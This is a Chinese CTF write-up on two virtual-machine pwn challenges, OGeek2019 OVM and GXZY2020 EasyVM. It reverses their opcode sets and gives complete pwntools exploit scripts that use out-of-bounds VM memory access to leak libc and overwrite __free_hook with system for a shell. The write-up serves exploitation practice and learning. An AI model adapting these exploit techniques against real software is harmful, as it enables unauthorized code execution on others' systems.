VM pwn入門

VM pwn貌似是最近火起來的一類PWN題。最近打的好幾場比賽都出現了VM pwn的題目,正好在BUU上面遇到一道2019年的OGeek中出現的VM pwn題,感覺應該會比較簡單,另外聽說高校戰役裏的EasyVM也是偏簡單的VM pwn題。本文就主要對這兩道題目進行分析。

[OGeek2019 Final]OVM

程序分析

在這裏插入圖片描述
作爲VM pwn的第一步就是需要搞清楚指令的格式,操作碼和操作數
本題使用的是定長指令,一共32bits,每一個佔8bits,但除了操作碼能利用完8bits之外,寄存器只佔4bits,所以只有16個寄存器,格式如下

操作碼 | 目的寄存器編號 | 操作數2寄存器編號 | 操作數1寄存器編號

每個操作碼的功能如下:

dst = (a1&0xf0000)>>16
dst = reg[dst]
op2 = (a1&0xf00)>>8
op2 = reg[ope2]
op1 = a1&0xf
op1 = reg[op1]

0x10:
dst = a1&0xff

0x20:
dst = ((a1&0xff)==0)

0x30:
dst = memory[op1]

0x40:
memory[op1] = dst

0x50:
tmp = reg[13]
reg[13]++
stack[tmp] = dst

0x60:
reg[13]--
dst = stack[reg[13]]

0x70:
dst = op1 + op2

0x80:
dst =  op2 - op1

0x90:
dst =  op1 & op2

0xA0:
dst =  op1 | op2

0xB0:
dst = op1 ^ op2

0xC0:
dst =  op2 << op1

0xD0:
dst =  op2 >> op1

0xE0:
running=0
if !reg[13]exit
show all reg

對指令的逆向是一個很費時間的過程,但這是必不可少的,一定要耐心分析每一個操作碼的功能
接下來就是分析程序中的漏洞了,可以看到memory並沒有對下標大小進行檢測,這就有一個數組越界漏洞
在這裏插入圖片描述

而memory位於0x202060偏移處,在0x202040處正好就有一個指向堆的指針,並且程序結束時允許我們輸入0x8c個bytes,如果我們能把這個指針改了,不就能進行一次任意內存寫了嗎?
而位於0x201FF8偏移處有_IO_2_1_stderr_的地址,該地址+0x10A8即爲_free_hook

利用思路

有了上面的分析,我們的利用思路就很清晰了

  1. 利用數組越界獲取stderr的地址到reg[2]和reg[3]
  2. 利用0x10(賦值)和0xC0(左移)操作構造出0x10A0
  3. 利用0x70(add)功能讓reg中的stderr地址增加0x10A0
  4. 再次利用數組越界把增加之後的地址寫到$rebase(0x202040),即comment[0]的位置
  5. 退出運行,先利用泄露的寄存器的值計算libc,然後輸入’/bin/sh’+p64(system)即可

Exp

from pwn import *

r = remote("node3.buuoj.cn", 29381)
#r = process("./OGeek2019_Final_OVM")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xCFE)
	x/10gx $rebase(0x242060)
	c
	''')

elf = ELF("./OGeek2019_Final_OVM")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
success("malloc:"+hex(libc.sym['malloc']))
success("system:"+hex(libc.sym['system']))
success("free_hook:"+hex(libc.sym['__free_hook']))


def code_generate(code, dst, op1, op2):
	res = code<<24
	res += dst<<16
	res += op1<<8
	res += op2
	return res

r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0, 0, 26))) #reg[0] = 26 (stderr)
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 2, 0, 1))) #reg[2] = memory[reg[1]]
r.sendline(str(code_generate(0x10, 0, 0, 25))) #reg[0] = 25
r.sendline(str(code_generate(0x10, 1, 0, 0))) #reg[1] = 0
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 3, 0, 1))) #reg[3] = memory[reg[1]]
r.sendline(str(code_generate(0x10, 4, 0, 1))) #reg[4] = 1
r.sendline(str(code_generate(0x10, 5, 0, 12))) #reg[5] = 12
r.sendline(str(code_generate(0xC0, 4, 4, 5))) #reg[4] = reg[4]<<reg[5]
r.sendline(str(code_generate(0x10, 5, 0, 0xA))) #reg[5] = 0xA
r.sendline(str(code_generate(0x10, 6, 0, 4))) #reg[6] = 4
r.sendline(str(code_generate(0xC0, 5, 5, 6))) #reg[5] = reg[5]<<reg[6]
r.sendline(str(code_generate(0x70, 4, 4, 5))) #reg[4] = reg[4]+reg[5]
r.sendline(str(code_generate(0x70, 2, 4, 2))) #reg[2] = reg[4]+reg[2]
r.sendline(str(code_generate(0x10, 4, 0, 8))) #reg[4] = 8
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 2, 0, 5))) #memory[reg[5]]=reg[2]
r.sendline(str(code_generate(0x10, 4, 0, 7))) #reg[4] = 7
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 3, 0, 5))) #memory[reg[5]]=reg[3]
r.sendline(str(code_generate(0xE0, 0, 1, 1))) #exit

r.recvuntil("R2: ")
low = int(r.recvuntil('\n').strip(), 16) + 8
r.recvuntil("R3: ")
high = int(r.recvuntil('\n').strip(), 16)
free_hook = (high<<32)+low
success("free_hook:"+hex(free_hook))
libc.address = free_hook - libc.sym['__free_hook']
system = libc.sym['system']
r.recvuntil("HOW DO YOU FEEL AT OVM?\n")
r.sendline('/bin/sh\x00'+p64(system))

r.interactive()

GXZY2020 EasyVM

題目分析

在這裏插入圖片描述
程序開始會對虛擬機的寄存器等等進行初始化
在這裏插入圖片描述
這裏6和7應該分別是esp和ebp,10是棧的盡頭,8是PC,剩下的都是寄存器

程序有四個功能,分別是輸入指令,執行,釋放和後門
後門函數
在這裏插入圖片描述
後門函數會執行一串奇怪的操作,這裏我們可以先執行後門然後輸入指令把後門函數的奇怪指令替換,v5中存放的是.text節的地址

該題的指令爲變長指令,操作碼對應的功能如下:

a1[6]:stack?

9:
a1[1]=backdoor_addr(0x305c)

0x10:
a1[9]=a1[1]

0x11:
printf("%p:", a1[1])

0x22:
a1[1]>>=a1[2]

0x23:
a1[1]<<=a1[2]

0x30:
a1[1]|=a1[2]

0x31:
a1[1]&=a1[2]

0x41:
a1[1]+=a1[2]

0x42:
a1[1]-=a1[4]

0x43:
a1[1]*=a1[3]

0x44:
a1[1]/=a1[5]

0x53:
putchar(*(char*)a1[3])
index+=2

0x54:
*a1[3]=getchar()
index+=2

0x71:(push?)
a1[6]-=4
*a1[6] = a1[8]+1

0x76:(pop?)
a1[3]=*a1[6]
*a1[6]=0
a1[6]+=4
index+=5

0x77:
a1[1]^=a1[9]

0x80:
也算是一個後門吧,功能是a1[a1[8]+1]=(Dword)a1[8]+2
算是一個數組越界後門

0x99:
exit

這題的漏洞比較致命,可以直接利用0x71(類似於push)和0x76(類似於pop)加上0x53和0x54直接進行任意內存讀寫
加上9號指令個0x11指令的使用,可以直接泄露elf_base

利用思路

根據上面分析,第一步我們需要泄露elf_base

  1. 利用9和0x11指令泄露elf_base
  2. 利用0x71,0x76,0x53指令泄露出任意libc函數地址(我這裏泄露的是read的地址)
  3. 利用0x71,0x76,0x54指令向__free_hook中寫入system的地址,然後利用0x71指令不斷把棧擡高(這裏說的是虛擬機的棧),然後在棧的盡頭寫入/bin/sh

第三步還有另一種辦法,即利用0x80指令,在a1[16]即爲棧的盡頭,但是因爲只能寫入Dword所以就寫’sh\x00\x00’
操作碼爲"\x80" + p8(16) + ‘sh\x00\x00’ + ‘\x99’

  1. 釋放,getshell

Exp

from pwn import *

#r = remote("node3.buuoj.cn", 28433)
r = process("./EasyVM")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xA3A)
	b *$rebase(0xA15)
	b *$rebase(0xEEE)
	x/10wx $rebase(0x305C)
	c
	''')

elf = ELF("./EasyVM")
#libc = ELF('./libc/libc-2.23_32.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

menu = ">>> \n"

def create(payload):
	r.recvuntil(menu)
	r.sendline('1')
	sleep(0.5)
	r.sendline(payload)

def execute():
	r.recvuntil(menu)
	r.sendline('2')

def free():
	r.recvuntil(menu)
	r.sendline('3')

def backdoor():
	r.recvuntil(menu)
	r.sendline('4')


backdoor()
payload = p8(9)+p8(0x11)+p8(0x99)
create(payload)
execute()
elf_base = int(r.recvuntil('\n').strip(), 16) - 0x6c0
success("elf_base:"+hex(elf_base))
read_got = elf_base + elf.got['read']
payload = p8(0X71) + p32(read_got) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0X71) + p32(read_got+1) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0X71) + p32(read_got+2) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0X71) + p32(read_got+3) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0x99)
create(payload)
execute()
read = u32(r.recv(1)+r.recv(1)+r.recv(1)+r.recv(1))
libc.address = read - libc.sym['read']
success("libc:"+hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
payload = p8(0X71) + p32(free_hook) + p8(0x76) + p32(0) + p8(0x54)*2
payload += p8(0X71) + p32(free_hook+1) + p8(0x76) + p32(0) + p8(0x54)*2
payload += p8(0X71) + p32(free_hook+2) + p8(0x76) + p32(0) + p8(0x54)*2
payload += p8(0X71) + p32(free_hook+3) + p8(0x76) + p32(0) + p8(0x54)*2
padding = (p8(0X71) + p32(0))*77
payload += padding + p8(0X71) + p32(0x2f736800)[::-1] + p8(0X71) + p32(0x2f62696e)[::-1]
payload += p8(0x99)
create(payload)
execute()
r.send(p32(system))
free()

r.interactive()

一點總結

相比於堆菜單題,VM pwn對代碼理解要求比較高,需要把每一個指令的功能都弄明白。此外VM pwn中主要漏洞就是數組越界,所以首先的漏洞發掘點就是看看數組下標是不是沒有檢查。其次值得關注的點就是與內存相關的操作,看看是否能夠控制操作的地址。這兩個類型的漏洞其實利用起來相對簡單,不需要太高深的技巧。當然這也可能是因爲我做的題目都是比較簡單的VM pwn題。這個需要我研究一下網鼎杯的boom2和RCTF的vm來檢驗一下。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章